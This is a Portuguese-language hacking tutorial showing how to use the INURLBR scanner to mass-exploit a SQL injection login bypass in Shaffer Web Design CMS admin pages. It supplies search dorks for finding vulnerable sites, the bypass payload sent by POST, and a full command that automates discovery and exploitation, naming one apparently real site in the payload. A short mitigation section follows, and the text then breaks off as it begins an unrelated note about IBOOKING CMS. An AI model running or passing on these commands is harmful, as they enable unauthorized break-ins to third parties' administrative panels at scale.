(Bom dia, Boa tarde, Boa noite) rsrsrs, Quem vos escreve e googleINURL venho trazer uma forma diferente de exploracao com scanner INURLBR usando request POST.Ate o momento a grande utilizacao do scanner e feito por meio de exploracao via GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.Para tal tutorial vamos usar um exploit publicado no Exploit4arabExploit:http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaLAffected Webs/Versions : AllO XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.Dork:intext:"by Shaffer Web Design" ext:phpintext:"Designed by Shaffer Web Design" intext:"Website Development provided by Shaffer Web Design"Acesso: http://www.xx.com/admin.phpPOC:Request POSThttp://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My AccountCampos explorados com um simples Bypass:email='=' 'OR'password='=' 'OR'Debug request:1 - Enviamos o request Bypass para o arquivo login.php2 - O servidor aceita o request e retorna codigo 302 http de redirecionamento.3 - Somos redirecionados para pagina my_account.php do servidor.Agora vamos montar comando para exploracao via INURLBR.Download:https://github.com/googleinurl/SCANNER-INURLBRComando:- Setar DORK de pesquisa:Exemplo:--dork Defines which dork the search engine will use. Example: --dork {dork} Usage: --dork 'site:.gov.br inurl:php? id' - Using multiples dorks: Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3} Usage: --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'Usando para exploracao atual:--dork 'intext:"by Shaffer Web Design" ext:php'- Setar OUTPUT:Exemplo:-s Specify the output file where it will be saved the vulnerable URLs. Example: -s {file} Usage: -s your_file.txtUsando para exploracao atual:-s tutorial.txt- Setar ifredirect validacao da URL redirecionamento:Exemplo: --ifredirect Return validation method post REDIRECT_URL Example: --ifredirect {string_validation} Usage: --ifredirect '/admin/painel.php'Usando para exploracao atual:--ifredirect 'my_account.php'- Setar string que sera concatenada junto ao host, para isso usamos o exploit-get:Exemplo: --exploit-get Defines which exploit will be injected through the GET method to each URL found. Example: --exploit-get {exploit_get} Usage: --exploit-get "?' %270x27;"Usando para exploracao atual:--exploit-get '/login.php'Ai fica a pergunta, mas por que ? eu uso exploit-get em algo que e explorado via post ?R: O comando exploit-get do script inurlbr e tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo e possivel usar ele sem altera o Request total.- Setar request Bypass POSTExemplo: --exploit-post Defines which exploit will be injected through the POST method to each URL found. Example: --exploit-post {exploit_post} Usage: --exploit-post 'field1=valor1&field2=valor2&field3=? 0x273exploit;&botao=ok'Usando para exploracao atual:--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"Comando completo:php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"Exemplo de Saida vulneravel:OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.Solucao ?Sempre filtre o que vem do cliente.Nao confie em dados que vem do cliente.Filtre todo request seja get ou post $_REQUEST.Use PDO sem moderacao Prepared Statements e o poder.Use filtros nativos do PHP filter_varReferencia para solucoes e estudos:http://php.net/manual/pt_BR/security.database.sql-injection.phphttps://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)http://php.net/manual/en/pdo.prepared-statements.phphttp://us3.php.net/manual/en/filter.filters.validate.phphttps://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf IBOOKING CMS e um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.Como proprio site do desenvolvedor diz:Motor de Reservas: Com o nosso motor de reservas voce pode vender as diarias do seu hotel diretamente no seu site e sem precisar pagar comissao. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.Tal sistema tem uma falha grave de Injecao SQL,